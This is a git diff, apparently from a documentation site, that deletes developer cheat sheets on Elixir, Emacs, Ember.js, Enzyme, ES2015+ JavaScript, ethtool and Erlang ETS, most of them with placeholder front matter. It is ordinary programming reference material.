-```elixir
-list = [:a, :b, :c]
-```
-
-{: .-setup}
-
-```elixir
-list |> at(0)         # → :a
-list |> count()       # → 3
-list |> empty?()      # → false
-list |> any?()        # → true
-```
-
-```elixir
-list |> concat([:d])  # → [:a, :b, :c, :d]
-```
-
-Also, consider streams instead.
-
-### Map/reduce
-
-```elixir
-list |> reduce(fn)
-list |> reduce(acc, fn)
-list |> map(fn)
-list |> reject(fn)
-list |> any?(fn)
-list |> empty?(fn)
-```
-
-```elixir
-[1, 2, 3, 4]
-|> Enum.reduce(0, fn(x, acc) -> x + acc end)
-```
-
-## Tuple
-
-### Tuples
-
-```elixir
-import Tuple
-```
-
-{: .-setup}
-
-```elixir
-t = { :a, :b }
-```
-
-```elixir
-t |> elem(1)    # like tuple[1]
-t |> put_elem(index, value)
-t |> tuple_size()
-```
-
-### Keyword lists
-
-```elixir
-list = [{ :name, "John" }, { :age, 15 }]
-list[:name]
-```
-
-```elixir
-# For string-keyed keyword lists
-list = [{"size", 2}, {"type", "shoe"}]
-List.keyfind(list, "size", 0)  # → {"size", 2}
-```
-
-## Functions
-
-### Lambdas
-
-```elixir
-square = fn n -> n*n end
-square.(20)
-```
-
-### & syntax
-
-```elixir
-square = &(&1 * &1)
-square.(20)
-
-square = &Math.square/1
-```
-
-### Running
-
-```elixir
-fun.(args)
-apply(fun, args)
-apply(module, fun, args)
-```
-
-### Function heads
-
-```elixir
-def join(a, b \\ nil)
-def join(a, b) when is_nil(b) do: a
-def join(a, b) do: a <> b
-```
-
-## Structs
-
-### Structs
-
-```elixir
-defmodule User do
-  defstruct name: "", age: nil
-end
-
-%User{name: "John", age: 20}
-
-%User{}.struct  # → User
-```
-
-See: [Structs](http://elixir-lang.org/getting-started/structs.html)
-
-## Protocols
-
-### Defining protocols
-
-```elixir
-defprotocol Blank do
-  @doc "Returns true if data is considered blank/empty"
-  def blank?(data)
-end
-```
-
-```elixir
-defimpl Blank, for: List do
-  def blank?([]), do: true
-  def blank?(_), do: false
-end
-
-Blank.blank?([])  # → true
-```
-
-### Any
-
-```elixir
-defimpl Blank, for: Any do ... end
-
-defmodule User do
-  @derive Blank     # Falls back to Any
-  defstruct name: ""
-end
-```
-
-### Examples
-
--   `Enumerable` and `Enum.map()`
--   `Inspect` and `inspect()`
-
-## Comprehensions
-
-### For
-
-```elixir
-for n <- [1, 2, 3, 4], do: n * n
-for n <- 1..4, do: n * n
-```
-
-```elixir
-for {key, val} <- %{a: 10, b: 20}, do: val
-# → [10, 20]
-```
-
-```elixir
-for {key, val} <- %{a: 10, b: 20}, into: %{}, do: {key, val*val}
-```
-
-### Conditions
-
-```elixir
-for n <- 1..10, rem(n, 2) == 0, do: n
-# → [2, 4, 6, 8, 10]
-```
-
-### Complex
-
-```elixir
-for dir <- dirs,
-    file <- File.ls!(dir),          # nested comprehension
-    path = Path.join(dir, file),    # invoked
-    File.regular?(path) do          # condition
-  IO.puts(file)
-end
-```
-
-## Misc
-
-### Metaprogramming
-
-```elixir
-__MODULE__
-__MODULE__.__info__
-
-@after_compile __MODULE__
-def __before_compile__(env)
-def __after_compile__(env, _bytecode)
-def __using__(opts)    # invoked on `use`
-
-@on_definition {__MODULE__, :on_def}
-def on_def(_env, kind, name, args, guards, body)
-
-@on_load :load_check
-def load_check
-```
-
-### Regexp
-
-```elixir
-exp = ~r/hello/
-exp = ~r/hello/i
-"hello world" =~ exp
-```
-
-### Sigils
-
-```elixir
-~r/regexp/
-~w(list of strings)
-~s|strings with #{interpolation} and \x20 escape codes|
-~S|no interpolation and no escapes|
-~c(charlist)
-```
-
-Allowed chars: `/` `|` `"` `'` `(` `[` `{` `<` `"""`.
-See: [Sigils](http://elixir-lang.org/getting-started/sigils.html)
-
-### Type specs
-
-```elixir
-@spec round(number) :: integer
-
-@type number_with_remark :: {number, String.t}
-@spec add(number, number) :: number_with_remark
-```
-
-Useful for [dialyzer](http://www.erlang.org/doc/man/dialyzer.html).
-See: [Typespecs](http://elixir-lang.org/getting-started/typespecs-and-behaviours.html)
-
-### Behaviours
-
-```elixir
-defmodule Parser do
-  @callback parse(String.t) :: any
-  @callback extensions() :: [String.t]
-end
-```
-
-```elixir
-defmodule JSONParser do
-  @behaviour Parser
-
-  def parse(str), do: # ... parse JSON
-  def extensions, do: ["json"]
-end
-```
-
-See: [Module](http://elixir-lang.org/docs/stable/elixir/Module.html)
-
-## References
-
-{: .-one-column}
-
--   [Learn Elixir in Y minutes](https://learnxinyminutes.com/docs/elixir/)
diff --git a/docs/content/cheat-sheets/emacs.md b/docs/content/cheat-sheets/emacs.md
deleted file mode 100644
index 130e709273..0000000000
--- a/docs/content/cheat-sheets/emacs.md
+++ /dev/null
@@ -1,80 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# Running emacs
-
-GUI mode $ emacs
-Terminal mode $ emacs -nw
-
-# Basic usage
-
-Indent Select text then press TAB
-Cut C-w
-Copy M-w
-Paste ("yank") C-y
-Begin selection C-SPACE
-Search/Find C-s
-Replace M-% (M-SHIFT-5)
-Save C-x C-s
-Save as C-x C-w
-Load/Open C-x C-f
-Undo C-x u
-Highlight all text C-x h
-Directory listing C-x d
-Cancel a command C-g
-Font size bigger C-x C-+
-Font size smaller C-x C--
-
-# Buffers
-
-Split screen vertically C-x 2
-Split screen vertically with 5 row height C-u 5 C-x 2
-Split screen horizontally C-x 3
-Split screen horizontally with 24 column width C-u 24 C-x 3
-Revert to single screen C-x 1
-Hide the current screen C-x 0
-Move to the next screen C-x o
-Kill the current buffer C-x k
-Select a buffer C-x b
-Run command in the scratch buffer C-x C-e
-
-# Navigation ( backward / forward )
-
-Character-wise C-b , C-f
-Word-wise M-b , M-f
-Line-wise C-p , C-n
-Sentence-wise M-a , M-e
-Paragraph-wise M-{ , M-}
-Function-wise C-M-a , C-M-e
-Line beginning / end C-a , C-e
-
-# Other stuff
-
-Open a shell M-x eshell
-Goto a line number M-x goto-line
-Word wrap M-x toggle-word-wrap
-Spell checking M-x flyspell-mode
-Line numbers M-x linum-mode
-Toggle line wrap M-x visual-line-mode
-Compile some code M-x compile
-List packages M-x package-list-packages
-
-# Line numbers
-
-To add line numbers and enable moving to a line with C-l:
-
-    (global-set-key "\C-l" 'goto-line)
-    (add-hook 'find-file-hook (lambda () (linum-mode 1)))
diff --git a/docs/content/cheat-sheets/ember.md b/docs/content/cheat-sheets/ember.md
deleted file mode 100644
index a69a1efc64..0000000000
--- a/docs/content/cheat-sheets/ember.md
+++ /dev/null
@@ -1,92 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Ember.js
-category: JavaScript libraries
-
----
-
-{% raw %}
-
-### Routes
-
-    App.Router.map(function() {
-      this.resource('trips', function() {
-          this.route('item', { path: '/:trip_id' });
-      });
-
-      this.route('upcoming');
-      this.route('about', { path: '/about' });
-      this.route('schedules');
-      this.route('history');
-      this.route('post');
-    });
-
-### A route
-
-    App.IndexRoute = Ember.Route.extend({
-      setupController: function(controller) {
-        controller.set('title', 'my app');
-        // <h1>{{title}}</h1>
-      },
-
-      setupController: function(controller, model) {
-        controller.set("model", model);
-        this.controllerFor('topPost').set('model', model);
-      },
-
-      model: function(params) {
-        return this.store.find('posts');
-        return this.store.find('post', params.post_id);
-      },
-
-      serialize: function(model) {
-        // this will make the URL `/posts/foo-post`
-        return { post_slug: model.get('slug') };
-      }
-    });
-
-### View
-
-    App.InfoView = Ember.View.extend({
-      templateName: 'input',  /* optional */
-
-      fooName: "Hello"  /* {{ view.fooName }} */
-
-      click: function(e) {
-        "I was clicked";
-      }
-
-    });
-
-### markup
-
-    <img {{bindAttr src="avatarURL"}}>
-    <button {{action follow}}>
-
-Value binding:
-
-    {{view Ember.TextField class="input block" valuebinding="emailAddresses"}}
-
-Actions:
-
-    <button {{action invite emailAddresses}}>Invite></button>
-
-    <a href="#" {{action set "isEditingContacts" true target="view"}}
-
-{% endraw %}
diff --git a/docs/content/cheat-sheets/emmet.md b/docs/content/cheat-sheets/emmet.md
deleted file mode 100644
index 596c957868..0000000000
--- a/docs/content/cheat-sheets/emmet.md
+++ /dev/null
@@ -1 +0,0 @@
-# Emmet
diff --git a/docs/content/cheat-sheets/enzyme.md b/docs/content/cheat-sheets/enzyme.md
deleted file mode 100644
index 875c0b85d2..0000000000
--- a/docs/content/cheat-sheets/enzyme.md
+++ /dev/null
@@ -1,309 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Enzyme
-category: React
-
-tags: [Featured]
-weight: -1
-keywords:
-
--   shallow()
--   mount()
--   wrap.setProps()
--   "wrap.find().simulate('click')"
--   "wrap.contains(<div/>)"
-
----
-
-## Getting started
-
-### Introduction
-
-{: .-intro}
-
-[Enzyme](http://airbnb.io/enzyme) lets you write unit tests for React components. This guide covers Enzyme 3.x.
-
--   [Enzyme website](https://enzymejs.github.io/enzyme/) _(enzymejs.github.io)_
-
-### Mounting
-
-```js
-import { shallow, mount } from 'enzyme';
-```
-
-{: .-setup}
-
-```js
-wrap = shallow(<MyComponent />);
-```
-
-```js
-wrap = mount(<MyComponent />);
-```
-
-Shallow wrapping doesn't descend down to sub-components.
-A full mount also mounts sub-components.
-
-See: [Shallow rendering](http://airbnb.io/enzyme/docs/api/shallow.html),
-[Full rendering](http://airbnb.io/enzyme/docs/api/mount.html)
-
-### Debugging
-
-```js
-console.log(wrap.debug());
-```
-
-Shows HTML for debugging purposes.
-
-See: [debug()](http://airbnb.io/enzyme/docs/api/ReactWrapper/debug.html)
-
-## Examples
-
-### Basic example
-
-```js
-import { shallow } from 'enzyme';
-import MyComponent from '../MyComponent';
-```
-
-{: .-setup}
-
-```js
-it('works', () => {
-    const wrap = shallow(<MyComponent name="Groot" />);
-
-    expect(wrap.text()).toEqual('I am Groot');
-});
-```
-
-### Props and state
-
-#### Setting
-
-```js
-wrap.setProps({ name: 'Moe' });
-wrap.setState({ show: true });
-```
-
-#### Asserting
-
-```js
-expect(wrap.prop('name')).toEqual('Moe');
-expect(wrap.state('show')).toEqual(true);
-```
-
-```js
-expect('name' in wrap.props()).toEqual('Moe');
-expect('show' in wrap.state()).toEqual(true);
-```
-
-### Matching elements
-
-```js
-expect(wrap.containsMatchingElement(<span>I am groot</span>)).toBeTruthy();
-```
-
-`containsMatchingElement()` is probably the most useful assertion in Jest.
-
-### Snapshots
-
-```js
-expect(wrap).toMatchSnapshot();
-```
-
-Be sure you've set up enzyme-to-json for snapshots (see [Installing](#installing) below).
-
-### Traversions
-
-```js
-expect(wrap.find('button').text()).toEqual('Submit');
-```
-
-Use `.find()` to traverse down to nodes. It will return wrapper objects, too.
-
-### Simulating events
-
-```js
-wrap.find('input').simulate('click');
-```
-
-#### With event object props
-
-```js
-wrap.find('input').simulate('change', {
-    target: { value: 'hello' }
-});
-```
-
-## Installing
-
-### Initial setup
-
-```
-npm install --save-dev enzyme \
-  enzyme-adapter-react-16 \
-  react-test-renderer
-```
-
-{: .-setup}
-
-#### test/setup.js
-
-```js
-import Enzyme from 'enzyme';
-import Adapter from 'enzyme-adapter-react-16';
-
-Enzyme.configure({ adapter: new Adapter() });
-```
-
-#### package.json
-
-```js
-"jest": {
-  "setupFiles": [
-    "test/setup.js"
-  ]
-}
-```
-
-This configures Enzyme for React v16, and Jest to automatically configure Enzyme for you. There are other adapters in Enzyme's installation instructions.
-
-See: [Installation](http://airbnb.io/enzyme/#installation)
-
-### Jest snapshots
-
-```
-npm install --save-dev enzyme-to-json
-```
-
-{: .-setup}
-
-#### package.json
-
-```js
-"jest": {
-  "snapshotSerializers": [
-    "enzyme-to-json/serializer"
-  ]
-}
-```
-
-#### Test
-
-```js
-it('works', () => {
-    wrap = mount(<MyComponent />);
-    expect(wrap).toMatchSnapshot();
-});
-```
-
-Optional, but recommended: This allows you to use Enzyme wrappers with Jest snapshots.
-
-See: [enzyme-to-json](https://www.npmjs.com/package/enzyme-to-json)
-
-## ReactWrapper
-
-### Traversing
-
-```js
-wrap.find('button'); // → ReactWrapper
-wrap.filter('button'); // → ReactWrapper
-wrap.not('span'); // → ReactWrapper (inverse of filter())
-wrap.children(); // → ReactWrapper
-wrap.parent(); // → ReactWrapper
-wrap.closest('div'); // → ReactWrapper
-wrap.childAt(0); // → ReactWrapper
-wrap.at(0); // → ReactWrapper
-wrap.first(); // → ReactWrapper
-wrap.last(); // → ReactWrapper
-```
-
-```js
-wrap.get(0); // → ReactElement
-wrap.getElement(); // → ReactElement
-wrap.getElements(); // → Array<ReactElement>
-wrap.getDOMNode(); // → DOMComponent
-```
-
-See: [Full rendering API](http://airbnb.io/enzyme/docs/api/mount.html)
-
-### Actions
-
-```js
-wrap.simulate('click');
-```
-
-### React components
-
-```js
-wrap.setState({ ··· })
-wrap.setProps({ ··· })
-wrap.setContext({ ··· })
-```
-
-```js
-wrap.state(); // get full state
-wrap.props(); // get full props
-wrap.context(); // get full context
-```
-
-```js
-wrap.state('key'); // → any
-wrap.prop('key'); // → any
-wrap.context('key'); // → any
-```
-
-```js
-wrap.instance(); // → ReactComponent
-```
-
-### Mount
-
-```js
-wrap.mount();
-wrap.unmount();
-wrap.update(); // calls forceUpdate()
-```
-
-### Tests
-
-```js
-wrap.debug(); // → string
-wrap.html(); // → string
-wrap.text(); // → string
-wrap.type(); // → string | function
-wrap.name(); // → string
-wrap.is('.classname'); // → boolean
-wrap.hasClass('class'); // → boolean
-wrap.exists(); // → boolean
-wrap.contains(<div />); // → boolean
-wrap.contains([<div />]); // → boolean
-wrap.some('.child'); // → boolean
-
-wrap.someWhere((n) => n.hasClass('foo'));
-
-wrap.containsMatchingElement(<div />); // → boolean
-wrap.containsAllMatchingElements([<div />]); // → boolean
-wrap.containsAnyMatchingElements([<div />]); // → boolean
-```
-
-## References
-
--   [Enzyme website](https://airbnb.io/enzyme) _(airbnb.io)_
--   [Enzyme v2 cheatsheet](./enzyme@2) _(devhints.io)_ (old version)
diff --git a/docs/content/cheat-sheets/enzyme@2.md b/docs/content/cheat-sheets/enzyme@2.md
deleted file mode 100644
index 398745d870..0000000000
--- a/docs/content/cheat-sheets/enzyme@2.md
+++ /dev/null
@@ -1,156 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Enzyme v2
-category: React
-
-weight: -1
-deprecated_by: /enzyme
-
----
-
-## Getting started
-
-### Introduction
-
-{: .-intro}
-
-**(Deprecated)** [Enzyme](http://airbnb.io/enzyme) lets you write unit tests for React components. This guide covers a previous version (v2.x).
-
-### Mounting
-
-```js
-import { shallow, mount } from 'enzyme';
-```
-
-{: .-setup}
-
-```js
-wrap = shallow(<MyComponent />);
-```
-
-```js
-wrap = mount(<MyComponent />);
-```
-
-Shallow wrapping doesn't descend down to sub-components.
-A full mount also mounts sub-components.
-See: [Shallow rendering](http://airbnb.io/enzyme/docs/api/shallow.html),
-[Full rendering](http://airbnb.io/enzyme/docs/api/mount.html)
-
-### Jest
-
-```js
-import toJson from 'enzyme-to-json';
-```
-
-{: .-setup}
-
-```js
-it('works', () => {
-    wrap = mount(<MyComponent />);
-    expect(toJson(wrap)).toMatchSnapshot();
-});
-```
-
-Converts an Enzyme wrapper to a format compatible with Jest snapshots. See: [enzyme-to-json](https://www.npmjs.com/package/enzyme-to-json)
-
-### Debugging
-
-```js
-console.log(wrap.debug());
-```
-
-Shows HTML for debugging purposes. See: [debug()](http://airbnb.io/enzyme/docs/api/ReactWrapper/debug.html)
-
-## ReactWrapper
-
-### Traversing
-
-```js
-wrap.find('button'); // => ReactWrapper
-wrap.filter('button'); // => ReactWrapper
-wrap.not('span'); // => ReactWrapper (inverse of filter())
-wrap.children(); // => ReactWrapper
-wrap.parent(); // => ReactWrapper
-wrap.closest('div'); // => ReactWrapper
-wrap.childAt(0); // => ReactWrapper
-wrap.at(0); // => ReactWrapper
-wrap.first(); // => ReactWrapper
-wrap.last(); // => ReactWrapper
-```
-
-```js
-wrap.get(0); // => ReactElement
-wrap.getNode(); // => ReactElement
-wrap.getNodes(); // => Array<ReactElement>
-wrap.getDOMNode(); // => DOMComponent
-```
-
-See: [Full rendering API](http://airbnb.io/enzyme/docs/api/mount.html)
-
-### Actions
-
-```js
-wrap.simulate('click');
-```
-
-### React components
-
-```js
-wrap.setState({ ... })
-wrap.setProps({ ... })
-wrap.setContext({ ... })
-
-wrap.state()            // => Any (get state)
-wrap.props()            // => object (get props)
-wrap.context()          // => Any (get context)
-
-wrap.instance()         // => ReactComponent
-```
-
-### Mount
-
-```js
-wrap.mount();
-wrap.unmount();
-wrap.update(); // calls forceUpdate()
-```
-
-### Tests
-
-```js
-wrap.debug(); // => string
-wrap.html(); // => string
-wrap.text(); // => string
-wrap.type(); // => string | function
-wrap.name(); // => string
-wrap.is('.classname'); // => boolean
-wrap.hasClass('class'); // => boolean
-wrap.exists(); // => boolean
-wrap.contains(<div />); // => boolean
-wrap.contains([<div />]); // => boolean
-
-wrap.containsMatchingElement(<div />); // => boolean
-wrap.containsAllMatchingElements([<div />]); // => boolean
-wrap.containsAnyMatchingElements([<div />]); // => boolean
-```
-
-## References
-
--   <https://airbnb.io/enzyme>
diff --git a/docs/content/cheat-sheets/es6-exports.md b/docs/content/cheat-sheets/es6-exports.md
deleted file mode 100644
index 25af1d744d..0000000000
--- a/docs/content/cheat-sheets/es6-exports.md
+++ /dev/null
@@ -1 +0,0 @@
-# ES6 EXPORTS
diff --git a/docs/content/cheat-sheets/es6.md b/docs/content/cheat-sheets/es6.md
deleted file mode 100644
index 9221afd083..0000000000
--- a/docs/content/cheat-sheets/es6.md
+++ /dev/null
@@ -1,620 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: ES2015+
-category: JavaScript
-
-tags: [Featured]
-weight: -10
-intro: |
-A quick overview of new JavaScript features in ES2015, ES2016, ES2017, ES2018 and beyond.
-
----
-
-### Block scoping
-
-#### Let
-
----
-
-```js
-function fn() {
-    let x = 0;
-    if (true) {
-        let x = 1; // only inside this `if`
-    }
-}
-```
-
-{: data-line="2,4"}
-
-#### Const
-
-```js
-const a = 1;
-```
-
-`let` is the new `var`. Constants work just like `let`, but can't be reassigned.
-See: [Let and const](https://babeljs.io/learn-es2015/#let--const)
-
-### Backtick strings
-
-#### Interpolation
-
-```js
-const message = `Hello ${name}`;
-```
-
-#### Multiline strings
-
-```js
-const str = `
-hello
-world
-`;
-```
-
-Templates and multiline strings.
-See: [Template strings](https://babeljs.io/learn-es2015/#template-strings)
-
-### Binary and octal literals
-
-```js
-let bin = 0b1010010;
-let oct = 0o755;
-```
-
-See: [Binary and octal literals](https://babeljs.io/learn-es2015/#binary-and-octal-literals)
-
-### New methods
-
-#### New string methods
-
-```js
-'hello'.repeat(3);
-'hello'.includes('ll');
-'hello'.startsWith('he');
-'hello'.padStart(8); // "   hello"
-'hello'.padEnd(8); // "hello   "
-'hello'.padEnd(8, '!'); // hello!!!
-'\u1E9B\u0323'.normalize('NFC');
-```
-
-See: [New methods](https://babeljs.io/learn-es2015/#math--number--string--object-apis)
-
-### Classes
-
-```js
-class Circle extends Shape {
-```
-
-#### Constructor
-
-```js
-  constructor (radius) {
-    this.radius = radius
-  }
-```
-
-{: data-line="1"}
-
-#### Methods
-
-```js
-  getArea () {
-    return Math.PI * 2 * this.radius
-  }
-```
-
-{: data-line="1"}
-
-#### Calling superclass methods
-
-```js
-  expand (n) {
-    return super.expand(n) * Math.PI
-  }
-```
-
-{: data-line="2"}
-
-#### Static methods
-
-```js
-  static createFromDiameter(diameter) {
-    return new Circle(diameter / 2)
-  }
-}
-```
-
-{: data-line="1"}
-
-Syntactic sugar for prototypes.
-See: [Classes](https://babeljs.io/learn-es2015/#classes)
-
-### Exponent operator
-
-```js
-const byte = 2 ** 8;
-// Same as: Math.pow(2, 8)
-```
-
-{: data-line="1"}
-
-## Promises
-
-### Making promises
-
-```js
-new Promise((resolve, reject) => {
-    if (ok) {
-        resolve(result);
-    } else {
-        reject(error);
-    }
-});
-```
-
-{: data-line="1"}
-
-For asynchronous programming.
-See: [Promises](https://babeljs.io/learn-es2015/#promises)
-
-### Using promises
-
-```js
-promise
-  .then((result) => { ··· })
-  .catch((error) => { ··· })
-```
-
-{: data-line="2,3"}
-
-### Using promises with finally
-
-```js
-promise
-  .then((result) => { ··· })
-  .catch((error) => { ··· })
-  .finally(() => { // logic independent of success/error })
-```
-
-{: data-line="4"}
-
-The handler is called when the promise is fulfilled or rejected.
-
-### Promise functions
-
-```js
-Promise.all(···)
-Promise.race(···)
-Promise.reject(···)
-Promise.resolve(···)
-```
-
-### Async-await
-
-```js
-async function run() {
-    const user = await getUser();
-    const tweets = await getTweets(user);
-    return [user, tweets];
-}
-```
-
-{: data-line="2,3"}
-
-`async` functions are another way of using functions.
-
-See: [async function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function)
-
-## Destructuring
-
-### Destructuring assignment
-
-#### Arrays
-
-```js
-const [first, last] = ['Nikola', 'Tesla'];
-```
-
-{: data-line="1"}
-
-#### Objects
-
-```js
-let { title, author } = {
-    title: 'The Silkworm',
-    author: 'R. Galbraith'
-};
-```
-
-{: data-line="1"}
-
-Supports for matching arrays and objects.
-See: [Destructuring](https://babeljs.io/learn-es2015/#destructuring)
-
-### Default values
-
-```js
-const scores = [22, 33];
-const [math = 50, sci = 50, arts = 50] = scores;
-```
-
-```js
-// Result:
-// math === 22, sci === 33, arts === 50
-```
-
-Default values can be assigned while destructuring arrays or objects.
-
-### Function arguments
-
----
-
-```js
-function greet({ name, greeting }) {
-    console.log(`${greeting}, ${name}!`);
-}
-```
-
-{: data-line="1"}
-
-```js
-greet({ name: 'Larry', greeting: 'Ahoy' });
-```
-
-Destructuring of objects and arrays can also be done in function arguments.
-
-### Default values
-
----
-
-```js
-function greet({ name = 'Rauno' } = {}) {
-    console.log(`Hi ${name}!`);
-}
-```
-
-{: data-line="1"}
-
-```js
-greet(); // Hi Rauno!
-greet({ name: 'Larry' }); // Hi Larry!
-```
-
-### Reassigning keys
-
----
-
-```js
-function printCoordinates({ left: x, top: y }) {
-    console.log(`x: ${x}, y: ${y}`);
-}
-```
-
-{: data-line="1"}
-
-```js
-printCoordinates({ left: 25, top: 90 });
-```
-
-This example assigns `x` to the value of the `left` key.
-
-### Loops
-
-```js
-for (let {title, artist} of songs) {
-  ···
-}
-```
-
-{: data-line="1"}
-
-The assignment expressions work in loops, too.
-
-### Object destructuring
-
-```js
-const { id, ...detail } = song;
-```
-
-{: data-line="1"}
-
-Extract some keys individually and remaining keys in the object using rest (...) operator
-
-## Spread
-
-### Object spread
-
-#### with Object spread
-
-```js
-const options = {
-    ...defaults,
-    visible: true
-};
-```
-
-{: data-line="2"}
-
-#### without Object spread
-
-```js
-const options = Object.assign({}, defaults, { visible: true });
-```
-
-The Object spread operator lets you build new objects from other objects.
-
-See: [Object spread](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
-
-### Array spread
-
-#### with Array spread
-
-```js
-const users = [...admins, ...editors, 'rstacruz'];
-```
-
-{: data-line="2,3"}
-
-#### without Array spread
-
-```js
-const users = admins.concat(editors).concat(['rstacruz']);
-```
-
-The spread operator lets you build new arrays in the same way.
-
-See: [Spread operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
-
-## Functions
-
-### Function arguments
-
-#### Default arguments
-
----
-
-```js
-function greet(name = 'Jerry') {
-    return `Hello ${name}`;
-}
-```
-
-{: data-line="1"}
-
-#### Rest arguments
-
----
-
-```js
-function fn(x, ...y) {
-    // y is an Array
-    return x * y.length;
-}
-```
-
-{: data-line="1"}
-
-#### Spread
-
-```js
-fn(...[1, 2, 3]);
-// same as fn(1, 2, 3)
-```
-
-{: data-line="1"}
-
-Default, rest, spread.
-See: [Function arguments](https://babeljs.io/learn-es2015/#default--rest--spread)
-
-### Fat arrows
-
-#### Fat arrows
-
-```js
-setTimeout(() => {
-  ···
-})
-```
-
-{: data-line="1"}
-
-#### With arguments
-
-```js
-readFile('text.txt', (err, data) => {
-  ...
-})
-```
-
-{: data-line="1"}
-
-#### Implicit return
-
-```js
-numbers.map((n) => n * 2);
-// No curly braces = implicit return
-// Same as: numbers.map(function (n) { return n * 2 })
-numbers.map((n) => ({
-    result: n * 2
-}));
-// Implicitly returning objects requires parentheses around the object
-```
-
-{: data-line="1,4,5,6"}
-
-Like functions but with `this` preserved.
-See: [Fat arrows](https://babeljs.io/learn-es2015/#arrows-and-lexical-this)
-
-## Objects
-
-### Shorthand syntax
-
-```js
-module.exports = { hello, bye };
-// Same as: module.exports = { hello: hello, bye: bye }
-```
-
-See: [Object literal enhancements](https://babeljs.io/learn-es2015/#enhanced-object-literals)
-
-### Methods
-
-```js
-const App = {
-    start() {
-        console.log('running');
-    }
-};
-// Same as: App = { start: function () {···} }
-```
-
-{: data-line="2"}
-
-See: [Object literal enhancements](https://babeljs.io/learn-es2015/#enhanced-object-literals)
-
-### Getters and setters
-
-```js
-const App = {
-    get closed() {
-        return this.status === 'closed';
-    },
-    set closed(value) {
-        this.status = value ? 'closed' : 'open';
-    }
-};
-```
-
-{: data-line="2,5"}
-
-See: [Object literal enhancements](https://babeljs.io/learn-es2015/#enhanced-object-literals)
-
-### Computed property names
-
-```js
-let event = 'click';
-let handlers = {
-    [`on${event}`]: true
-};
-// Same as: handlers = { 'onclick': true }
-```
-
-See: [Object literal enhancements](https://babeljs.io/learn-es2015/#enhanced-object-literals)
-
-### Extract values
-
-```js
-const fatherJS = { age: 57, name: 'Brendan Eich' };
-
-Object.values(fatherJS);
-// [57, "Brendan Eich"]
-Object.entries(fatherJS);
-// [["age", 57], ["name", "Brendan Eich"]]
-```
-
-{: data-line="3,5"}
-
-## Modules
-
-### Imports
-
-```js
-import 'helpers';
-// aka: require('···')
-```
-
-```js
-import Express from 'express';
-// aka: const Express = require('···').default || require('···')
-```
-
-```js
-import { indent } from 'helpers';
-// aka: const indent = require('···').indent
-```
-
-```js
-import * as Helpers from 'helpers';
-// aka: const Helpers = require('···')
-```
-
-```js
-import { indentSpaces as indent } from 'helpers';
-// aka: const indent = require('···').indentSpaces
-```
-
-`import` is the new `require()`.
-See: [Module imports](https://babeljs.io/learn-es2015/#modules)
-
-### Exports
-
-```js
-export default function () { ··· }
-// aka: module.exports.default = ···
-```
-
-```js
-export function mymethod () { ··· }
-// aka: module.exports.mymethod = ···
-```
-
-```js
-export const pi = 3.14159;
-// aka: module.exports.pi = ···
-```
-
-`export` is the new `module.exports`.
-See: [Module exports](https://babeljs.io/learn-es2015/#modules)
-
-## Generators
-
-### Generators
-
----
-
-```js
-function* idMaker() {
-    let id = 0;
-    while (true) {
-        yield id++;
-    }
-}
-```
-
-```js
-let gen = idMaker();
-gen.next().value; // → 0
-gen.next().value; // → 1
-gen.next().value; // → 2
-```
-
-It's complicated.
-See: [Generators](https://babeljs.io/learn-es2015/#generators)
-
-### For..of iteration
-
-```js
-for (let i of iterable) {
-  ···
-}
-```
-
-For iterating through generators and arrays.
-See: [For..of iteration](https://babeljs.io/learn-es2015/#iterators--forof)
diff --git a/docs/content/cheat-sheets/ethtool.md b/docs/content/cheat-sheets/ethtool.md
deleted file mode 100644
index 5da1dfec8b..0000000000
--- a/docs/content/cheat-sheets/ethtool.md
+++ /dev/null
@@ -1,42 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-syntax: bash
-tags: [networking]
-
----
-
-# To show statistics for the selected interface:
-
-ethtool -S <interface>
-
-# To show interface permanent address:
-
-ethotool -P <interface>
-
-# To set interface speed:
-
-ethtool -s <interface> [ speed %d ]
-
-# To set interface autonegotiation:
-
-ethtool -s <interface> [ autoneg on|off ]
-
-# To get interface errors:
-
-ethtool -S <interface> | grep error
diff --git a/docs/content/cheat-sheets/ets.md b/docs/content/cheat-sheets/ets.md
deleted file mode 100644
index 4e688ca39d..0000000000
--- a/docs/content/cheat-sheets/ets.md
+++ /dev/null
@@ -1,71 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Erlang ETS
